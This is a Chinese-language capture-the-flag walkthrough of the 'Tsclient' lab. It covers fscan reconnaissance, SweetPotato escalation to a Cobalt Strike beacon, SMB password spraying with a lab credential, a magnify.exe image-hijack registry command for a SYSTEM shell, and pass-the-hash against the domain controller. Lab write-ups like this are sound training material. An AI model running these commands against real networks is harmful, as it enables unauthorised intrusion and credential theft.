Tsclient
flag1

fscan扫描出可利用的信息
使用MDUT进行连接


这里SeImpersonatePrivilege 身份验证后模拟客户端 已启用可以使用sweetpotato进行提权
尝试上线cs

上线成功,接着进行提权

然后我们看看flag 在哪里,这里找就有点麻烦了,我们可以将system上线
在MDUT执行命令
1 | shell C:\Users\Public\SweetPotato.exe -a C:\Users\Public\artifact_x64.exe |

上线成功


得到flag
1 | flag{4f89fd8a-ce68-4d65-821a-778b52fe742c} |
flag2
让我们注重用户会话
查看在线用户
1 | shell quser || qwinst |

可以使用cs注入进程上线


点击注入,上线成功

查看共享资源
1 | shell net use |


查看目录

给出账号密码,并且提示是映像劫持
1 | xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# |
使用fscan扫描,因为有乱码,然后输出到文件中,还是有点问题,不太好看,用ai分析了一下,具体为下

1 | 172.22.8.18 WIN-WEB |
也可以先做内网穿透然后使用fscan扫描这样就可以没有乱码了
先做好代理,直接使用cs的插件行。

接下来是喷洒密码,修改密码
proxychains crackmapexec smb 172.22.8.1/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null
proxychains4 netexec smb 172.22.8.1/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab -t 5
这两个都可以
修改密码:
可以先尝试远程桌面登录其他的ip例如31,然后改个密码,在登录46,因为只有46可以连接
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Admin@123' -r disk:share=/home/kali/Desktop/tmp

镜像映射的提权方法:
映像劫持的几种利用方式 - FreeBuf网络安全行业门户
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
锁定之后点击放大镜,然后可以看到system权限

然后拿flag

flag3
因为46是不出网的
所以要利用cs做个中转,然后在上线cs

查看域管理成员

抓取密码

最后使用pth来打15获得flag3
proxychains4 nxc smb 172.22.8.15 -u 'WIN2016$' -H d3e2865f74e9fdda037f4f071b2635a1 -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

